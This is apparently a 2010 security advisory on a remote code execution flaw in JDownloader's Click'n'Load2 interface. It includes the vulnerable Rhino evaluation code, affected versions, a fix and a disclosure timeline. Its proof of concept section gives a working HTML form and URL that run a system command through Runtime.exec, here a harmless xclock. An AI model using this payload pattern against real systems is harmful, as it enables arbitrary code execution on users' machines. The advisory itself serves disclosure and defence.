JDownloader Remote Code Execution

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• – Product

JDownloader[1] is an open source download manager for One-Click-
Filehoster like Rapidshare or Megaupload. The Click'n'Load[2] interface
allows external applications and websites to send URLs to the local
running JDownloader. With Click'n'Load2 [3] it is possible to sent
AES-CBC encrypted URLs (for some kind of link 'obfuscation').
The encrypted payload and key are sent with an HTTP-POST submit on
localhost port 9666 (default port, listening on any(0.0.0.0)).

[1] http://jdownloader.org/
[2] http://jdownloader.org/knowledge/wiki/glossary/click-n-load
[3] http://jdownloader.org/knowledge/wiki/glossary/cnl2

• – Vulnerability

The transmitted key can be plaintext or javascript code that is then
executed by JDownloader with the Mozilla Rhino Javascript
implementation. Here is the code for this: (plugins/
JDExternInterface.jar / JDExternInterface.java)

String jk = Encoding.urlDecode(request.getParameters().get("jk"), false);
[…]
Context cx = Context.enter();
Scriptable scope = cx.initStandardObjects();
String fun = jk + " f()";
Object result = cx.evaluateString(scope, fun, "<cmd>", 1, null);
key = JDHexUtils.getByteArray(Context.toString(result));
Context.exit();

The Default Context that is initialized here, allows the javascript to
execute without any security restrictions. The javascript can import and
use any java library resulting in an remote code execution flaw.

After the form data is sent, JDownloader will, depending on transmitted
Referer/Source and/or User-Agent, ask for permission to add Links from
external Website/Application, the code is executed after the user
confirms.

• – Affected Versions

All versions prior 2010-01-25 (with Click'n'Load 2 support) are
vulnerable. (Release version 0.9.334)

• – Solutions

Update JDownloader to the newest version with the Autoupdate/Webupdate.
I recommend to disable the remote interface (FlashGot for Firefox)
in the "AddOn Manager" configuration.

• – Timeline

2010-01-25 - Vulnerability reported to vendor
2010-01-25 - Vendor security fix via autoupdate
2010-02-08 - Public Disclosure

• – Proof of Concept

<form action="http://localhost:9666/flash/addcrypted2&quot; method="post">
<textarea name="jk">
function f() {
var run = java.lang.Runtime.getRuntime();
run.exec('/usr/bin/xclock');

return '42';

}
</textarea>
<input type="hidden" name="passwords" value="invalid" />
<input type="hidden" name="source" value="http://example.com/invalid&quot; />
<input type="hidden" name="crypted" value="invalid" />
<input type="submit" value="CLICK" />
</form>

or:

http://localhost:9666/flash/addcrypted2?jk=function+f&#40;&#41;+&#37;7B+var+run+&#37;3D
+java.lang.Runtime.getRuntime()%3B+run.exec('%2Fusr%2Fbin%2Fxclock')%3B
+return+'42'%3B+%7D&passwords=invalid&source=http://example.com/invalid
&crypted=invalid

• – Conclusion

It seems that this is a common misuse of the Rhino JavaScript[1]
library, that is dangerous whenever arbitrary JavaScript is executed.
There many other libraries and applications may vulnerable to this kind
of vulnerability.

[1] http://www.mozilla.org/rhino/

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(a) (p)roof (o)f (c)oncept …
http://apoc.sixserv.org/

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